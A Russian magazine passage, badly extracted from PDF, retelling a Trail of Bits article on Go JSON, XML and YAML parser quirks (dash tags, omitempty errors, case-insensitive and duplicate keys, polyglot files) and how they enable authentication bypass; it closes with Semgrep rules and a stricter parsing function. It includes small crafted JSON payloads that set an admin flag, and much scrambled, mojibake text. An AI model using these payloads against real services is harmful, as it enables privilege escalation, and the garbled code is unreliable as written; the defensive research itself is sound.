0x005777b8

Пос мотреть зна чение нуж ного регис тра мож но коман дой . Сде лать

шаг впе ред — коман дами  или  (не путать с коман дами 

и , которые у нас не будут работать из-за отсутс твия под гру жен ной таб -
лицы сим волов). Если же надо про дол жить работу, оста новив шись на адре се

, не уста нав ливая на нее допол нитель ную точ ку оста нова, пишем

print $r0
stepi nexti step

next

118408

u *0x118408

Крат кий дай джест осо бо час то исполь зуемых команд мож но 
. Как видишь, при опре делен ной сно ров ке и усид чивос ти мож но

прек расно обой тись и без под клю чения к отладке IDA. Напос ледок при веду
пару ста тей, в которых отладчик GDB исполь зует ся для ана лиза дру гих задач.

пос мотреть
на «Xаб ре»

•По шаго вая GDB-отладка ARM-про цес сора
из кон соли в Win10
•Хар дкор ный олд скул: QEMU и реверс обра за

флоп пика

В общем, для пыт ливого ума экзо тич ность железа и про цес сора не ста нут
пре пятс тви ем к отладке и динами чес кому ана лизу при ложе ний в при выч ной
опе раци онной сис теме.
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ВЗЛОМ

Пар синг ненадеж ных дан ных соз дает иде аль ную лазей ку
для атак на при ложе ния, написан ные на Go. В ходе наших
иссле дова ний безопас ности мы не раз находи ли уяз вимос ти
в пар серах JSON, XML и YAML Go, поз воляв шие обхо дить
аутен тифика цию, нарушать авто риза цион ные пра вила
и выкачи вать чувс тви тель ные дан ные пря мо с рабочих сис -
тем.

Это близ кий к тек сту перес каз статьи «
» из бло га Trail of Bits. Ее автор — . Матери ал дос тупен

без плат ной под писки.

Unexpected security footguns in Go’s
parsers Вас ко Фран ко

Это не прос то теоре тичес кие баги — они уже при вели к реаль ным уяз вимос -
тям, таким как  (обход аутен тифика ции в HashiCorp Vault,
который обна ружи ли ребята из Google Project Zero), и мно жес тву кри тичес ких
находок в про ектах наших кли ентов.

CVE-2020-16250

Здесь мы рас ска жем об этих неожи дан ных глю ках пар серов и при ведем
три сце нария ата ки, которые дол жен знать каж дый инже нер по безопас ности
и раз работ чик на Go.
1. : как пар серы на Go могут рас -

крыть дан ные, которые раз работ чики пла ниро вали оста вить при ват ными.

(Äå)ñåðè àëè çàöèÿ íåîæè äàí íûõ äàí íûõ

2. : как несов падения в работе раз ных пар серов поз -

воля ют хакерам обхо дить меры безопас ности, ког да нес коль ко сер висов
обра баты вают оди нако вые дан ные.

Ðàç ëè÷èÿ ïàð ñåðîâ

3. : как пар серы обра баты вают меж формат -
ные дан ные с неожи дан ными и порой весь ма взры воопас ными резуль -
татами.

Ïó òàíè öà â ôîð ìàòàõ äàí íûõ

Мы покажем каж дый сце нарий ата ки на при мере из реаль ной жиз ни и завер -
шим все кон крет ными рекомен даци ями о том, как безопас нее исполь зовать
пар синг. В том чис ле рас ска жем, как затыкать дыры в безопас ности стан дар -
тной биб лиоте ки Go.

Вот крат кий обзор неожи дан ных поведе ний, которые мы рас смот рим,
с инди като рами.

Îñî áåí íîñòü JSON JSON v2 XML YAML

json:"-,"
Да
(пло хой
дизайн)

Да
(пло хой
дизайн)

Да
(пло хой
дизайн)

Да
(пло хой
дизайн)

json:"omitempty"
Да
(как и ожи -
далось)

Да
(как и ожи -
далось)

Да
(как и ожи -
далось)

Да
(как и ожи -
далось)

Дуб лиру ющиеся
клю чи

Да
(пос -
ледний)

Нет
Да
(пос -
ледний)

Нет

Ре гис тро неза -
виси мость

Да Нет Нет Нет

Не извес тные
клю чи

Да
(испра -
вимо)

Да
(испра -
вимо)

Да
Да
(испра -
вимо)

Лиш ние
ведущие дан ные

Нет Нет Да Нет

Лиш ние дан ные
в кон це

Да
(с
Decoder)

Нет Да Нет

Ïàðñèíã â Go
Да вай раз берем, как Go обра баты вает JSON, XML и YAML. В стан дар тной
биб лиоте ке Go най дут ся пар серы для JSON и XML, а вот для YAML при дет ся
подоб рать что-то сто рон нее — на выбор есть куча реали заций. В этой статье
мы сос редото чим ся на таких пар серах:

, вер сия go1.24.1;• encoding/json
, вер сия go1.24.1;• encoding/xml

, вер сия 3.0.1, самая популяр ная сто рон няя биб лиоте ка YAML
для Go.

• yaml.v3

В наших при мерах будем исполь зовать JSON, но у всех трех пар серов оди -
нако вые API, так что раз ницы поч ти никакой.

В сво ей осно ве эти пар серы выпол няют две глав ные фун кции:
 (сери али зация) — прев раща ет струк туры Go в стро ки задан ного

фор мата;
• Marshal

 (десери али зация) — кон верти рует стро ки фор мата обратно
в струк туры Go.

• Unmarshal

Пар синг JSON в Go: как сде лать это пра виль но?

В Go есть фиш ка — теги полей струк тур, поз воля ющие нас тро ить, как пар -
серы дол жны работать с отдель ными полями. Вот из чего сос тоят эти теги:

 для сери али зации/десери али зации;• èìÿ êëþ ÷à

оп циональ ные  для изме нения поведе ния (нап -
ример, опция  в JSON ука зыва ет сери али зато ру про пус тить
пус тое поле в стро ке вывода).

• äè ðåê òèâû ÷åðåç çàïÿòóþ

omitempty

   type User struct {
    // Поле для имени пользователя в JSON
      Username string `json:"username_json_key,omitempty"`
    // Пароль пользователя
      Password string `json:"password"`
    // Флаг для админа
         IsAdmin bool `json:"is_admin"`
}

Что бы рас парсить JSON-стро ку в струк туру , опи сан ную выше, тебе нуж -

но исполь зовать ключ  для поля , 

для поля , а для поля  — ключ .

User
username_json_key Username password

Password IsAdmin is_admin

  u := User{}
  _ = json.Unmarshal([]byte(`{

    "username_json_key": "jofra",
    "password": "qwerty123!",
    "is_admin": "false"

 }`), &u)
 fmt.Printf("Result: %#v\n", u)

// Результат: User{Username:"jofra", Password:"qwerty123!", IsAdmin:
false}

Эти пар серы так же под держи вают потоко вые методы, работа ющие
с интерфей сами  вмес то byte-сре зов. Такой API осо бен но хорош

для пар синга потоко вых дан ных, нап ример тел HTTP-зап росов, и поэто му
час то при меня ется в сис темах обра бот ки HTTP.

io.Reader

Пар синг JSON в Go с помощью NewDecoder

ÀÒÀÊÀ 1: ÏÎÄÌÅÍÀ ÄÀÍÍÛÕ ÏÐÈ (ÄÅ)ÑÅÐÈÀËÈÇÀÖÈÈ

Иног да нуж но огра ничить, какие имен но поля струк туры могут быть сери али -
зова ны или десери али зова ны.

Да вай раз берем прос той при мер: есть бэкенд-сер вер, на котором нас -
тро ен HTTP-хен длер для соз дания поль зовате лей и еще один — для их извле -
чения пос ле аутен тифика ции.

Ког да соз даешь поль зовате ля, воз можно, тебе не захочет ся, что бы он мог
задать поле  сам (то есть пар сить это поле из поль зователь ско го

вво да).

IsAdmin

Вза имо дей ствие с бэкенд-сер вером, где поль зователь может изме нить
поле IsAdmin в струк туре User, — такую воз можность давать нель зя

Точ но так же при получе нии дан ных поль зовате ля тебе может не понадо бить -
ся воз вра щать его пароль или дру гие сек ретные зна чения.

Вза имо дей ствие с сер вером, где поль зователь каким-то обра зом
получа ет дос туп к полю Password в струк туре User, хотя это дол жно быть
невоз можно

Как мож но ука зать пар серам не сери али зовать или десери али зовать поле?

Ïîëÿ áåç ìåòîê
Да вай сна чала пос мотрим, что про изой дет, если ты не уста новишь тег JSON.

   type User struct {
     Username string
}

В этом слу чае ты можешь рас паковать поле  по его име ни,

как показа но ниже.

Username

   _ = json.Unmarshal([]byte(`{"Username": "jofra"}`), &u)
// Результат: User{Username:"jofra"}

Это хорошо задоку мен тирова но, и боль шинс тво раз работ чиков на Go
об этом зна ют. Давай гля нем на дру гой при мер:

   type User struct {
    // Имя пользователя, если не заполнено — не отображается в JSON
      Username string `json:"username,omitempty"`
    // Пароль пользователя, тоже исчезающий в JSON, если пустой
      Password string `json:"password,omitempty"`
    // Флаг того, что пользователь — админ
      IsAdmin bool
}

Оче вид но ли, что поле  выше будет десери али зова но? Менее опыт -
ный или нев ниматель ный раз работ чик может подумать, что это го не про изой -
дет, и так в сис теме обра зует ся уяз вимость.

IsAdmin

Ес ли хочешь прос каниро вать свой код и обна ружить ситу ации, ког да толь -
ко часть полей име ет JSON-, XML- или YAML-теги, исполь зуй сле дующее
Semgrep-пра вило. Оно не попало в наш ,
так как в зависи мос ти от тво его кода велика веро ятность получить кучу лож -
ных сра баты ваний.

ка талог пра вил на Semgrep registry

rules:
      - id: unmarshaling-tag-in-only-some-fields

       message: >-
          Тип $T1 имеет поля с тегами json/yml/xml только на 
некоторых полях, а не на всех. Такое поле все равно может быть (де)
сериализовано по имени. Чтобы предотвратить (де)сериализацию поля, 
используй тег -.

       languages: [go]
       severity: WARNING

      patterns:
            - pattern-inside: |

                type $T1 struct {
                  ...
                  $_ $_ `$TAG`
                  ...
                }
          # Этот регекс пытается избежать некоторых ложных 
срабатываний, таких как структуры, объявленные внутри структур

            - pattern-regex: >-
                ^[ \t]+[A-Z]+[a-zA-Z0-9]*[ \t]+[a-zA-Z0-9]+[^{`\n\r]
*$

           - metavariable-regex:
                 metavariable: $TAG

                 regex: >-
                    .*(json|yaml|xml):"[^,-

Íåïðàâèëüíîå èñïîëüçîâàíèå òåãà -
Что бы зас тавить пар сер игно риро вать кон крет ное поле при (де)сери али -
зации, добавь спец тег JSON, который выг лядит как знак минуса.

   type User struct {
    // Имя пользователя в JSON
      Username string `json:"username,omitempty"`
    // Пароль в JSON
      Password string `json:"password,omitempty"`
    // Админские права не добавляются в JSON
         IsAdmin bool `json:"-,omitempty"`
}

По еха ли!

   _ = json.Unmarshal([]byte(`{"-": true}`), &u)
// Результат: main.User{Username:"", Password:"", IsAdmin:true}

Вот незада ча, мы все-таки смог ли уста новить поле . Мы по ошиб ке

ско пиро вали часть , из-за чего пар сер начал искать ключ  в пре -

дос тавлен ном JSON. Я про бежал ся по топ-1000 репози тори ев на Go
на GitHub с наиболь шим количес твом звезд и сре ди про чих нашел два таких
слу чая (и отра пор товал о них, так что их уже испра вили):

IsAdmin
,omitempty -

в Flipt поле  в кон фигура ции OIDC отоб ражалось как  (исправ -
лено в );

• ClientID -
#3658

в langchaingo поле  так же отоб ражалось как  (исправ лено
в ).

• MaxTokens -
#1163

Это поведе ние чре вато ошиб ками и не при носит осо бой поль зы (ну кро ме
воз можнос ти наз вать поле ), и тем не менее оно опи сано в 

.

- до кумен тации

пакета JSON

Осо бый слу чай: если у тега поля сто ит , то
это поле всег да про пус кает ся. Фокус в том, что
поле с име нем  все еще мож но соз дать, исполь -
зуя тег .

-

-
-,

Пар серы для XML и YAML работа ют похоже, но есть один под вох: XML-пар сер
счи тает тег  некор рек тным. Что бы это испра вить, нуж но добавить для сим -

вола «минус» прос транс тво имен. Нап ример, прев ратить его в .

<->
<A:->

Рас паковы ваем поле с тегом - в фор матах JSON, XML и YAML

Хо рошо, давай на этот раз все сде лаем пра виль но.

   type User struct {
    // Имя пользователя в JSON, если не пустое
       Username string `json:"username,omitempty"`
    // Пароль в JSON, если не пустой
       Password string `json:"password,omitempty"`
    // Не отображать признак админа в JSON
          IsAdmin bool `json:"-"`
}

На конец-то! Теперь нет никакой воз можнос ти для десери али зации поля
.IsAdmin

Ты, навер ное, спро сишь: как же эти неп равиль ные нас трой ки могут прев -
ратить ся в уяз вимос ти в безопас ности? Самый баналь ный спо соб — это,
как в нашем при мере, исполь зовать  как JSON-тег для поля типа

, которое поль зователь ни в коем слу чае не дол жен кон тро лиро вать.

-,...
IsAdmin

Де тек тить такую шту ку обыч ными юнит-тес тами очень слож но, ведь
без спе циаль ного тес та, который рас паковы вает дан ные с клю чом  и про -

веря ет, изме нилось ли поле, ты такой баг не пой маешь. Тут нуж ны либо
какие-то прод винутые фичи IDE, либо сто рон ний инс тру мент.

-

Вза имо дей ствие с сер вером, где поль зователь может уста новить поле
IsAdmin с помощью поля JSON

Мы раз работа ли , которое поможет тебе
выявить подоб ные проб лемы в коде. Зацени его в деле:

пуб личное пра вило для Semgrep

semgrep -c r/trailofbits.go.unmarshal-tag-is-dash

Îøèáêè ñ omitempty
Еще одна прос тая, но веселая ошиб ка кон фигура ции, с которой мы стал -
кивались рань ше: раз работ чик по ошиб ке задал имя поля как .omitempty

// Результат: User{Username:"a_user"}

Ес ли ты уста новишь для JSON-тега , то пар сер будет исполь зовать

 как имя поля (что ожи даемо). Некото рые раз работ чики пытались

так хит рить: ста вить  в качес тве опции и при этом оставлять стан -

дар тное имя поля. Я пошер стил топ-1000 репози тори ев на Go в поис ках
такого трю ка, и вот что уда лось нарыть:

omitempty
omitempty

omitempty

Gitea , выс тавляя наружу поле  в струк туре
 с при пис кой  (залата но в пул-рек -

весте ).

• па лил ся Args
TranslatableMessage omitempty

#33663
По доб ная исто рия у Kustomize: у него  поле 
в струк туре , тоже с  (поп равле но в ).

• зас ветилось Replacements
plugin omitempty #5877

Btcd тоже , выдав поле  в струк туре
 с тем самым .

• от личил ся MaxFeeRate
TestMempoolAcceptCmd omitempty
Evcc пос ледовал той же дорож кой,  поле  в струк туре

 с клю чом .
• по казав Message
Measurements omitempty

Как видишь, раз работ чики час то хотят уста новить тег в зна чение 

, что бы сох ранить имя по умол чанию и добавить опцию

.

json:",
omitempty"
omitempty

В отли чие от пре дыду щего при мера, этот вряд ли пов лияет на безопас -
ность и дол жен лег ко выяв лять ся в тес тах. Любая попыт ка сери али зовать
или десери али зовать ввод с ожи даемым име нем поля про валит ся. Одна ко,
как ни стран но, такое все еще встре чает ся даже в популяр ных опен сор сных
репози тори ях. Мы сде лали , что бы помочь
тебе находить подоб ные баги в тво их про ектах. Исполь зовать так:

пуб личное пра вило для Semgrep

semgrep -c r/trailofbits.go.unmarshal-tag-is-omitempty

ÀÒÀÊÀ 2: ÐÀÇÍÛÅ ÏÀÐÑÅÐÛ — ÐÀÇÍÛÅ ÐÅÇÓËÜÒÀÒÛ

Что про изой дет, если разоб рать одни и те же дан ные с помощью раз ных
JSON-пар серов и они выдадут раз ные резуль таты? И самое инте рес ное —
какие осо бен ности пар серов в Go дают зло умыш ленни кам воз можность ста -
биль но про воци ровать такие рас хожде ния?

Возь мем для при мера при ложе ние, пос тро енное на мик росер висной
архи тек туре. В его сос таве:

, который обра баты вает все зап росы поль зовате лей;• ïðîê ñè-ñåð âèñ

, на который прок си-сер вис ссы лает ся, что бы про -
верить, есть ли у поль зовате ля нуж ные пра ва для выпол нения его зап роса;

• ñåð âèñ àâòî ðèçà öèè

на бор , которые прок си-сер вис дер гает, что бы

реали зовать биз нес-логику.

• ñåð âèñîâ áèç íåñ-ëîãèêè

В этом сце нарии обыч ный поль зователь без прав адми на пыта ется выпол нить
 — дей ствие, которое ему  выпол нять.UserAction ðàç ðåøåíî

Поль зователь успешно про ходит аутен тифика цию

Во вто ром сце нарии тот же обыч ный поль зователь пыта ется выпол нить
 — дей ствие, которое ему .AdminAction êà òåãî ðè÷åñ êè çàï ðåùåíî

Поль зователь пыта ется вой ти, но аутен тифика ция про вали вает ся

И вот про исхо дит магия: сер висы начина ют спо рить о том, что же ты все-таки
пыта ешь ся сде лать.

Служ бы Proxy и Authorization не сог ласны в раз боре поль зователь ско го
вво да, что соз дает уяз вимость в потоке дан ных

Сер вис авто риза ции, который написан на дру гом язы ке прог рамми рова ния
или исполь зует нес тандар тный пар сер для Go, будет пар сить 

и даст поль зовате лю пра ва на выпол нение опе рации. А вот прок си-сер вис,
который исполь зует стан дар тный пар сер Go, раз берет  и отпра -

вит его не тому сер вису. Оста ется воп рос: какие наг рузки мы можем соз дать,
что бы добить ся такого поведе ния?

UserAction

AdminAction

Это доволь но популяр ная архи тек тура, которую нам доводи лось встре чать
во вре мя наших ауди тов, и имен но в ней мы обна ружи вали обход аутен -
тифика ции. Проб лемы, о которых мы рас ска жем ниже, дела ют это воз -
можным. Есть и дру гие при меры, но боль шинс тво из них сле дуют той же
модели: ком понент, отве чающий за про вер ку безопас ности, и ком понент,
осу щест вля ющий дей ствия, по-раз ному видят вход ные дан ные. Вот нес коль -
ко таких при меров в раз личных сце нари ях:

: уяз вимость обхо да авто риза ции в Apache CouchDB из-за
раз личий JSON-пар серов (очень похоже на наш при мер);

• CVE-2017-12635

 (2020);• по бег из песоч ницы macOS из-за раз личий XML-пар серов
уда лен ное выпол нение кода в Zoom без вза имо дей ствия поль зовате ля
из-за раз личий XML-пар серов в XMPP (2022, );

•
PDF

(2025).
• об ход аутен тифика ции SAML в GitLab из-за раз личий XML-пар серов

Äóáëè ïîëåé
Пер вая уяз вимость, которую мы раз берем, — это дуб лирова ние клю чей. Что
будет, если во вход ном JSON один и тот же ключ встре чает ся дваж ды? А тут
уже все зависит от пар сера!

В Go пар сер JSON всег да возь мет . И такую логику

никак не поменять.

ïîñ ëåäíèé ýëå ìåíò

  _ = json.Unmarshal([]byte(`{
    "action": "Action1",
    "action": "Action2"

 }`), &a)
// Итог: ActionRequest{Action:"Action2"} — последний ключ побеждает!

Это стан дар тное поведе ние боль шинс тва пар серов. Но, как  ребята
из Bishop Fox, 7 из 49 про тес тирован ных пар серов выбира ют пер вый ключ:

по каза ли

Go: jsonparser, gojay;•
C++: rapidjson;•
Java: json-iterator;•
Elixir: Jason, Poison;•
Erlang: jsone.•

Ни один из них не явля ется самым популяр ным JSON-пар сером для сво его
язы ка, хотя некото рые из них весь ма рас простра нен ные.

Итак, если наш Proxy Service исполь зует JSON-пар сер на Go,
а Authorization Service — один из перечис ленных пар серов, мы получа ем рас -
хожде ние, как показа но на кар тинке.

Сце нарий ата ки с исполь зовани ем дуб лиру ющих ся полей

XML-пар сер ведет себя так же, в то вре мя как YAML-пар сер выда ет ошиб ку
при наличии дуб лиру ющих ся полей. Мы счи таем, что все подоб ные пар серы
дол жны по умол чанию быть такими же безопас ными.

Хо тя это и не иде аль но, но такое поведе ние по край ней мере соот ветс тву ет
боль шинс тву исполь зуемых пар серов JSON и XML. Теперь давай пос мотрим
на более серь езную проб лему, которая поч ти всег да при водит к рас хожде -
ниям меж ду пар сером Go по умол чанию и любым дру гим пар сером.

Ïîèñê ïî êëþ÷àì áåç ó÷åòà ðåãèñòðà
Пар сер JSON в Go рас позна ет име на полей без уче та регис тра. Пиши 
как ,  или  — для пар сера это все одно и то же!

action
action ACTION aCtIoN

  _ = json.Unmarshal([]byte(`{
    "aCtIoN": "Action2"

 }`), &a)
// Результат: ActionRequest{Action:"Action2"}

Это докумен тирован ное поведе ние, но край не неоче вид ное. Отклю чить
это невоз можно, и поч ти ни один дру гой пар сер так себя не ведет.

Ма ло того, еще и поля могут дуб лировать ся и будет выб ран пос ледний
вари ант, даже если регистр букв отли чает ся.

_ byte= json.Unmarshal([] (`{
    : ,"action" "Action1"
    : "aCtIoN" "Action2"
}`), &a)
// Результат: ActionRequest{Action:"Action2"}
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https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/
https://bishopfox.com/blog/json-interoperability-vulnerabilities


ЗЛОУПОТРЕБЛЯЕМ КОСЯКАМИ
РАЗБОРА JSON, XML И YAML

В ПРОГРАММАХ НА GO

ВЗЛОМ  НАЧАЛО СТАТЬИ

Это про тиво речит докумен тации, где ска зано:

«
»

×òî áû ðàñ ïàðñèòü JSON â ñòðóê òóðó, ìåòîä  ñîïîñ òàâëÿ åò

êëþ ÷è âõî äÿùå ãî îáú åêòà ñ êëþ ÷àìè, êîòîðûå èñïîëü çóåò 
(ëèáî èìÿ ïîëÿ ñòðóê òóðû, ëèáî åãî òåã), 

.

Unmarshal
Marshal

пред почитая точ ное сов -
падение, но так же при нимая сов падение без уче та регис тра

Ты можешь даже исполь зовать сим волы Unicode! В при мере ниже мы исполь -
зуем сим вол  (латин ское дол гое s) как  и  (знак Кель вина) как . В нашем

тес тирова нии биб лиоте ки JSON, которая выпол няет срав нение, толь ко эти
два сим вола Unicode соот ветс тву ют ASCII-сим волам.

ſ s K k

   type ActionRequest struct {
      Action string `json:"aktions"`
}
  a := ActionRequest{}
  _ = json.Unmarshal([]byte(`

{
    "aktions": "Action1",
    "aKtionſ": "Action2"
}

 `), &a)
 fmt.Printf("Result: %#v\n", a)

// Результат: main.ActionRequest{Action:"Action2"}

Да вай пог лядим, как это будет выг лядеть при ата ке.

Сце нарий ата ки

На наш взгляд, это самый жес ткий косяк JSON-пар сера в Go, пос коль ку
поведе ние отли чает ся от поведе ния пар серов в JavaScript, Python, Rust, Ruby,
Java и всех осталь ных, которые мы тес тирова ли. В резуль тате обра зова лась
куча серь езных уяз вимос тей, вклю чая те, что нам уда лось вскрыть в ходе
ауди тов.

И пос ледний штрих: отклю чить это поведе ние нель зя, нес мотря на то что
поль зовате ли жалу ются на  уже с 2016 года.ды рявую безопас ность

Это каса ется толь ко пар сера JSON. Пар серы для XML и YAML исполь зуют
точ ные сов падения.

Изоб ражение, обоб щающее работу всех трех пар серов

Ес ли тебя инте ресу ют раз личия в обра бот ке JSON в раз ных пар серах,
рекомен дуем про читать эти два пос та:

 (Николя Серио);• Parsing JSON is a Mineeld
 (Бишоп Фокс).• JSON Interoperability Vulnerabilities

ÀÒÀÊÀ 3: ÏÓÒÀÍÈÖÀ Â ÔÎÐÌÀÒÀÕ ÄÀÍÍÛÕ

Для финаль ной ата ки давай пос мотрим, что будет, если рас парсить JSON-
файл XML-пар сером или исполь зовать какой-нибудь дру гой непод ходящий
фор мат.

Возь мем для при мера : бай пас защиты HashiCorp Vault
в методе аутен тифика ции через AWS IAM. Эту уяз вимость обна ружи ла коман -
да Google Project Zero (если инте рес но пог рузить ся в детали, в бло ге есть
пост под наз вани ем ). Мы
не будем вывали вать здесь все тон кости, но в целом вот как выг лядит стан -
дар тный про цесс аутен тифика ции HashiCorp Vault через AWS IAM:

CVE-2020-16250

Enter the Vault: Authentication Issues in HashiCorp Vault

1. AWS-ресурс, ска жем фун кция AWS Lambda, под писыва ет зап рос
.GetCallerIdentity

2. Этот зап рос отправ ляет ся на сер вер Vault.
3. Сер вер Vault собира ет зап рос и пересы лает его в AWS Security Token

Service (STS).
4. AWS STS про веря ет под пись.
5. Ес ли все окей, AWS STS воз вра щает XML-документ с дан ными о роли.
6. Сер вер Vault пар сит XML, извле кает иден тифика тор и, если у этой роли

есть дос туп к зап рашива емым сек ретам, отправ ляет их обратно.
7. Те перь AWS-ресурс может исполь зовать сек реты, нап ример что бы авто -

ризо вать ся в базе дан ных.

Про цесс аутен тифика ции с помощью Vault

Ко ман да Google Project Zero обна ружи ла, что в шаге 2 зло умыш ленник может
получить слиш ком боль шой кон троль, вклю чая задание всех заголов ков зап -
роса, которые Vault фор миру ет на шаге 3. Осо бен но кри тич но, что, уста новив
заголо вок  как , AWS STS в шаге 5 вмес то ожи -

даемо го XML-докумен та воз вра щает JSON.

Accept application/json

В ито ге сер вер Vault начина ет пар сить этот JSON с исполь зовани ем XML-
пар сера на Go. А пос коль ку XML-пар сер весь ма снис ходите лен и умуд ряет ся
разоб рать поч ти все, что хоть отда лен но сма хива ет на XML, этот хаос
из JSON ста новит ся дос таточ ным для обхо да аутен тифика ции, если есть воз -
можность хотя бы час тично управлять JSON-отве том.

Про цесс аутен тифика ции Vault и уяз вимость

Да вай раз берем три хит рости, поз воля ющие пар сить фай лы некор рек тным
пар сером Go, и соз дадим файл-полиг лот, который мож но скор мить пар серам
JSON, XML и YAML. Каж дому пар серу он выдаст свой уни каль ный резуль тат.

Íåèçâåñòíûå êëþ÷è
По умол чанию пар серы для JSON, XML и YAML не бло киру ют неиз вес тные
поля — то есть свой ства во вхо дящих дан ных, которые не соот ветс тву ют
ни одно му полю в целевой струк туре.

По веде ние пар серов JSON, XML и YAML при обра бот ке неиз вес тных
клю чей

Ìóñîðíûå äàííûå â íà÷àëå
Из трех пар серов толь ко XML-пар сер перева рива ет мусор ные дан ные
в начале.

По веде ние пар серов JSON, XML и YAML при наличии мусора в начале
дан ных

Ìóñîðíûå äàííûå â êîíöå
Толь ко XML-пар сер может прог лотить про изволь ный мусор в кон це дан ных.

По веде ние пар серов JSON, XML и YAML при стол кно вении с мусор ными
дан ными в кон це фай ла

Ис клю чение сос тавля ет исполь зование пар сера Decoder API с потоко выми
дан ными — в этом слу чае JSON-пар сер при мет мусор ные дан ные в кон це.
Это , для которой пока нет зап ланиро ван ного решения.от кры тая проб лема

По веде ние пар серов JSON, XML и YAML при обра бот ке мусора в кон це
дан ных с исполь зовани ем API Decoder

Ñîçäàåì ïîëèãëîò
Как объ еди нить все рас смот ренные нами спо собы поведе ния, что бы соз дать
файл-полиг лот, который:

мож но обра ботать пар серами JSON, XML и YAML на Go;•
воз вра щает раз ные резуль таты для каж дого пар сера?•

При годит ся знать, что JSON — это под мно жес тво YAML.

Лю бой файл JSON — это одновре мен но и валид -
ный файл YAML!

Имея это в виду, мы можем замутить такой полиг лот.

Файл-полиг лот и то, как раз ные пар серы его интер пре тиру ют

Пар сер JSON без проб лем обра баты вает наш файл, ведь вход ные дан ные —
это валид ный JSON. Он прос то игно риру ет нез накомые клю чи и поз воля ет их
дуб лировать. Он выбира ет зна чение , так как срав нение полей

у него нечувс тви тель но к регис тру и берет ся зна чение пос ледне го най ден -
ного сов падения.

Action_2

Пар сер YAML может обра ботать этот файл, потому что вход ные дан ные —
это валид ный JSON (а зна чит, и валид ный YAML), а неиз вес тные клю чи он
прос то игно риру ет. Он цеп ляет ся за зна чение , пос коль ку, в отли чие
от пар сера JSON, дела ет точ ное сопос тавле ние по име нам полей.

Action_1

На конец, пар сер XML спо собен рас познать наш фор мат, потому что игно -
риру ет все лиш нее и ищет лишь дан ные, которые напоми нают XML. Мы спря -
тали их внут ри зна чения JSON. В резуль тате пар сер выпол няет .Action_3

Это мощ ная отправ ная точ ка для про веде ния атак на осно ве путани цы
в фор матах дан ных. Ана логич но обхо ду HashiCorp Vault.

ÑÏÎÑÎÁÛ ÇÀÙÈÒÛ

Как свес ти риск к миниму му и сде лать пар синг JSON более стро гим? Мы бы
хотели:

не допус кать раз бора  в JSON, XML и YAML;• íå èçâåñ òíûõ êëþ ÷åé

не допус кать раз бора  в JSON и XML;• äóá ëèðó þùèõ ñÿ êëþ ÷åé

ис клю чить  в JSON (это осо бен но важ но!);• ó÷åò ðåãèñ òðà êëþ ÷åé

из бегать  XML;• ìó ñîðà â íà÷àëå

из бегать  JSON и XML.• ìó ñîðà â êîí öå

К сожале нию, JSON дает толь ко один спо соб сде лать пар синг более стро гим:
. Эта фича зап реща ет неиз вес тные поля во вхо дящем

JSON. YAML пред лага ет ана логич ную фун кцию . А вот

для XML была попыт ка сде лать неч то подоб ное, но  завер нули.

DisallowUnknownFields
KnownFields(true)
пред ложение

Что бы покон чить с оставши мися косяка ми стан дар тных нас тро ек безопас -
ности, нам при дет ся сочинить что-то свое, кас томное и нем ного хакер ское.
Взгля ни на сле дующий блок кода с фун кци ей . Это наша

попыт ка сде лать раз бор JSON стро же, хотя тут есть свои огра ниче ния:

strictJSONParse

1. : JSON при ходит ся пар сить дваж ды, что

замет но замед ляет про цесс.

Ïëî õàÿ ïðî èçâî äèòåëü íîñòü

2. : в некото рых край них слу чаях недоче ты все-таки
оста ются, как ука зано в ком мента риях к фун кции.
Íå ïîë íàÿ äåòåê öèÿ

3. : эти меры безопас ности не встро ены

в биб лиоте ки как защищен ные нас трой ки по умол чанию или нас тра -
иваемые опции, так что мас совое рас простра нение вряд ли получит ся.

Íèç êèé ïîòåí öèàë âíåä ðåíèÿ

Но если ты вдруг обна ружишь уяз вимость в сво ем коде, то даже такое
несовер шенное решение может помочь затыкать дыру, пока ты работа ешь
над более надеж ным вари антом.

// DetectCaseInsensitiveKeyCollisions проверяет, есть ли в 
JSON-данных ключи, которые различаются только регистром букв. Это 
помогает предотвратить скрытые баги, где два ключа с разным 
написанием могут ссылаться на одни и те же данные.

    func DetectCaseInsensitiveKeyCollisions(data []byte) error {
  // Создаем карту для хранения декодированных JSON-данных и 
пытаемся распарсить JSON. Это сохраняет ключи с разным регистром.
    var res map[string]interface{}
       
  
if err := json.NewDecoder(bytes.NewReader(data)).Decode(&res); err

!= nil {
     return err
  }

      seenKeys := make([]string, 0, len(res))

  // Пробежимся по всем ключам в распарсенном JSON и поищем дубликаты
       for newKey := range res {
          for _, existingKey := range seenKeys {

         if strings.EqualFold(existingKey, newKey) {
        // Вернуть ошибку, если найден дубликат без учета регистра

         return fmt.Errorf("найдены дубликаты ключей без учета 
регистра:

                          %q и %q", existingKey, newKey)
      }
    }
       seenKeys = append(seenKeys, newKey)
  }
   return nil
}

// Обеспечивает более строгий парсинг JSON с дополнительной 
проверкой:
//   1. Отвергает неизвестные поля, которых нет в целевой структуре
//   2. Выявляет дубликаты ключей без учета регистра
//   3. Проверяет полный парсинг без остаточных данных
// strictJSONParse НЕ делает следующее:
//   - Не гарантирует отсутствие дублирующих ключей с одинаковым 
регистром
//   - Не проверяет, совпадает ли регистр во входных данных с 
ожидаемым регистром в целевой структуре

      func strictJSONParse(jsonData []byte, target interface{}) error {
    decoder := json.NewDecoder(bytes.NewReader(jsonData))

  // 1. Запретить неизвестные поля
  decoder.DisallowUnknownFields()

  // 2. Запретить дублирующиеся ключи с разным регистром
    err := DetectCaseInsensitiveKeyCollisions(jsonData)
      if err != nil {
      return fmt.Errorf("strictJSONParse: %w", err)
  }

  // Декодируем JSON в переданную структуру
    err = decoder.Decode(target)
      if err != nil {
      return fmt.Errorf("strictJSONParse: %w", err)
  }

  // 3. Убедимся, что нет остаточных данных после JSON-объекта
     token, err := decoder.Token()
      if err != io.EOF {
     

  
return fmt.Errorf("strictJSONParse: неожиданные дополнительные 

данные после JSON: token: %v, err: %v", token, err)
  }

   return nil
}

JSON 2.0
Что бы фича ста ла мас совой и дей стви тель но решила проб лему на гло баль -
ном уров не, ее нуж но вшить в биб лиоте ку и вклю чить по умол чанию. Вот
тут-то и всту пает в игру  — новая вер сия биб лиоте ки пар синга JSON
для Go. Пока это толь ко пред ложение, но огромная работа уже про дела на,
и мы наде емся, что сов сем ско ро этот стан дарт вый дет. JSON v2 пре вос ходит
пер вую вер сию по мно гим парамет рам:

JSON v2

Зап рещены дуб лиру ющиеся име на: «...в вер сии v2 JSON-объ ект с дуб -
